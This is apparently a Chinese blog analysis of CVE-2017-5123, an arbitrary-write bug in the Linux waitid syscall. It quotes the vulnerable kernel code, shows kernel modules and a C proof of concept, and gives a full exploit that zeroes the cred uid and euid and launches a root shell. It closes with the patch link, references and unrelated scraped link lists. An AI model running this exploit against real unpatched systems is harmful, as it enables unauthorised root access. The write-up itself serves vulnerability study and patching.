系统信息

系统:ubuntu 14.04 64位
内核版本:4.13 (KASLR关闭 但是参考文档一中的哥们已经提到如何绕过:利用对非法地址写的保护)

漏洞背景

CVE-2017-5123是一位葡萄牙人Federico Bento 所发现,由于在系统调用waitid实现中,未对用户输入的指针进行检测,造成任意地址写漏洞。该影响的内核版本为4.12-4.13.

漏洞产生原因

waitid系统调用原型:

int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

waitid系统调用的实现(漏洞产生的原因):

// /kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;
    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
    }

    if (!err) {
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin();                                // (1)
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user((short)info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

可以看到在(1)处,未对用户输入的infop指针参数进行检测,直接进行使用,造成任意地址写

漏洞验证

首先我们在内核内存中申请一块内存,然后利用该漏洞写内核内存,看是否能够写入数据

利用内核模块申请内存:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/string.h>

static void *my_ptr;
static int my_strlen = 256;

static int m_init(void){

    my_ptr = kzalloc(my_strlen,GFP_KERNEL);//申请内核内存
    memset(my_ptr,'A',my_strlen-1);//使其成为一个'AAAAAAA....'字符串

    if(my_ptr == NULL){
        printk("kmalloc error\n");
        return -1;
    }   

    printk("(m_init)ptr addr : %p , value:%s\n",my_ptr,(char*)my_ptr);

    return 0;
}

static void m_exit(void){
    printk("(m_exit)ptr addr : %p , value:%s\n",my_ptr,(char*)my_ptr);
    kfree(my_ptr);
}

module_init(m_init);
module_exit(m_exit);
MODULE_LICENSE("GPL");

makefile编写如下:

obj-m += drv1.o

CC=gcc
ccflags-y += "-g"
ccflags-y += "-O2"

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

加载内核模块,然后利用dmesg,我们可以得到内核模块中申请到的内核内存地址且被初始化为全为A的字符串,

然后写一个利用waitid对我们刚刚申请的内核内存地址进行写的C程序:

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <asm/unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <errno.h>
#include <string.h>

int main(void){
    void *ptr = (void*)0xffff8800294eb900;//该值为申请到的内核内存地址

    int pid = fork();
    if(pid == -1){
        printf("fork error:%s",strerror(errno));
        exit(-1);
    }   

    if(pid > 0){
        int retval = 0;
        retval = waitid(P_PID,pid,ptr,WEXITED|WSTOPPED|WCONTINUED);

        if(retval == -1){
            printf("waitid error:%s\n",strerror(errno));
            exit(-1);
        }

    }
    else if(pid == 0){
        exit(0);
    }   

    return 0;
}

编译并执行,然后卸载我们刚刚加载的模块,卸载该模块,其会打印我们申请到的内核内存中的数据.

可以看到,我们已经成功的写掉内核内存数据

漏洞利用

原理:每一个进程都有一个cred结构,该结构用于管理进程权限,如果我们使cred中的euid和uid为0,则可以使该进程获得root权限

利用过程:

  1. 创建许多进程,然后利用该漏洞对内存进行写0
  2. 进程通过调用getuid 检测是否为0,为0则击中cred结构,然后继续写euid为0获得root权限

为了使利用更加成功,我们使用内核模块来泄露进程cred结构中uid和euid的具体位置(我通过创建5000千个进程,来改写进程的uid,然后测试了n多次,只成功命中的1次,虚拟机死机了n-1次)

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("UID: 0x%p, EUID: 0x%p \n", &current->cred->uid,&current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

然后利用程序如下:

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <asm/unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>

void writeZero(void *addr);//write zero to addr
void leak_uid_euid_addr();//leak uid,euid address
int main(void){
    void *uidAddr = NULL,*euidAddr = NULL;
    leak_uid_euid_addr();

    printf("uid  addr:");
    scanf("%p",&uidAddr);

    printf("euid addr:");
    scanf("%p",&euidAddr);

    writeZero(uidAddr);
    writeZero(euidAddr);

    if(getuid() == 0 && geteuid() == 0){
        printf("exploit success!\n");
        system("/bin/sh");
    }
    else{
        printf("exploit fauled!\n");
    }   

    return 0;
}
void leak_uid_euid_addr(){//leak uid,euid address
    int fd = open("/proc/jif",O_RDONLY);
    if(fd == -1){
        exit(-1);
    }
    close(fd);
}

void writeZero(void *addr){//write zero to addr
    void *ptr = (void*)((char*)addr-4);

    int pid = fork();

    if(pid > 0){ //parent
        int retval = 0;

        retval = waitid(P_PID,pid,ptr,WEXITED|WSTOPPED|WCONTINUED);

        if(retval != -1){
            printf("write %p success\n",addr);
        }
        else{
            printf("write %p failed,strerror:%s\n",addr,strerror(errno));
            exit(-1);
        }
    }
    else if (pid == 0){//child
        exit(0);
    }
}

编译上面的模块代码和利用程序,然后加载模块。运行利用程序

.

此时通过我们加载的内核模块获得uid euid的地址

将其输入我们的利用程序,然后看到成功利用:

漏洞修复

更新新版本的内核,或根据:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4c48abe91be03d191d0c20cc755877da2cb35622

进行patch

参考文档

  1. https://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/
  2. https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  3. https://www.twistlock.com/2017/12/27/escaping-docker-container-using-waitid-cve-2017-5123/

CVE-2017-5123 分析报告的更多相关文章

  1. 2017.12.10《“剑锋OI”普及组多校联盟系列赛(14)#Sooke#Kornal 的课余时间 》分析报告

    报告内容如下 - - [导语] ------ 太晚了,时间也紧,一切尽量从简吧 PS:本文题目来自剑锋OI 所以废话也不多说,进入正题吧,代码直接跟在题目后边儿,主要分析在代码前,次要的就写在代码后面 ...

  2. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

  3. Xshell高级后门完整分析报告

    Xshell高级后门完整分析报告 from:https://security.tencent.com/index.php/blog/msg/120 1. 前言 近日,Xshell官方发布公告称其软件中 ...

  4. 《2018年云上挖矿态势分析报告》发布,非Web类应用安全风险需重点关注

    近日,阿里云安全团队发布了<2018年云上挖矿分析报告>.该报告以阿里云2018年的攻防数据为基础,对恶意挖矿态势进行了分析,并为个人和企业提出了合理的安全防护建议. 报告指出,尽管加密货 ...

  5. 如何利用Smartbi做数据分析:2018内5月热销乘用车分析报告

    在2018年第一季度热销乘用车分析报告中,SUV以总体销量15.4%的同比增长率让人不可小觑,Smartbi刚得到5月分析的数据就迫不及待的来看看是否热度不减,结果在5月这个所谓汽车销售淡季,轿车以9 ...

  6. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  7. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  8. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

  9. M1事后分析报告(Postmortem Report)

    M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...

  10. websphere OSGi应用环境下服务调用saaj包加载问题分析报告

    websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...

随机推荐

  1. 【Spring】7、拦截器HandlerInterceptor

    处理器拦截器简介 Spring Web MVC的处理器拦截器(如无特殊说明,下文所说的拦截器即处理器拦截器) 类似于Servlet开发中的过滤器Filter,用于对处理器进行预处理和后处理.   常见 ...

  2. Hash table lengths and prime numbers

    Website:http://srinvis.blogspot.ca/2006/07/hash-table-lengths-and-prime-numbers.html This has been b ...

  3. jQuery中是事件绑定方式--on、bind、live、delegate

    概述:jQuery是我们最常用的js库,对于事件的绑定也是有很多种,on.one.live.bind.delegate等等,接下来我们逐一来进行讲解. 本片文章中事件所带的为版本号,例:v1.7+为1 ...

  4. VSCode中怎么改变文件夹的图标

    昨天更新了VSCode后我的文件夹图标莫名其妙的没有了,变成了下图这样 看着真的让我难受的头皮发麻,本来打代码就头发少,难道非要让我变成秃头,不可能不可能,所以我找了找怎么解决 来,各位看官上眼 如图 ...

  5. 使用Twitter异常检测框架遇到的坑

    在Github上搜索“Anomaly Detection”,Twitter的异常检测框架(基于R语言)高居榜首,可见效果应该不错: 但是活跃度并不高,3-4年没人维护了: 因此在使用时难免会遇到一些坑 ...

  6. 微信小程序开发--路由切换,页面重定向

    这段时间开发了一个微信小程序,虽然小程序的导航API 官方文档写得很详细,但是在具体开发过程中还是会遇到很多不明白,或者一时转不过弯的地方. 1.页面切换传参,参数读取 1.1  wx.navigat ...

  7. Unable to load DLL 'SQLite.Interop.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)

    在主工程(ASP.NET WEB/WCF等)的NuGet里引用 System.Data.SQLite.Core 不仅仅是Service需要引用,主工程即使不直接使用SQLite的库,也需要引用. 若使 ...

  8. 使用parted创建gpt大分区例子

    [root@VM000000518 ~]# parted /dev/xvde GNU Parted 2.1 Using /dev/xvde Welcome to GNU Parted! Type 'h ...

  9. Nginx日志格式log_format详解

    PS:Nginx日志相关指令主要有两条,一条是log_format,用来设置日志格式,另外一条是access_log,用来指定日志文件的存放路径.类型.缓存大小等,一般放在Nginx的默认主配置文件/ ...

  10. Linux 小知识翻译 - 「架构 续」(arch)

    上次,从「计算机的内部构造」的角度解释了架构这个术语.这次,介绍下架构中经常提到的「i386架构」及之后的「i486」,「i586」. 安装Linux的时候,很多人即使不了解但也会经常听到i386架构 ...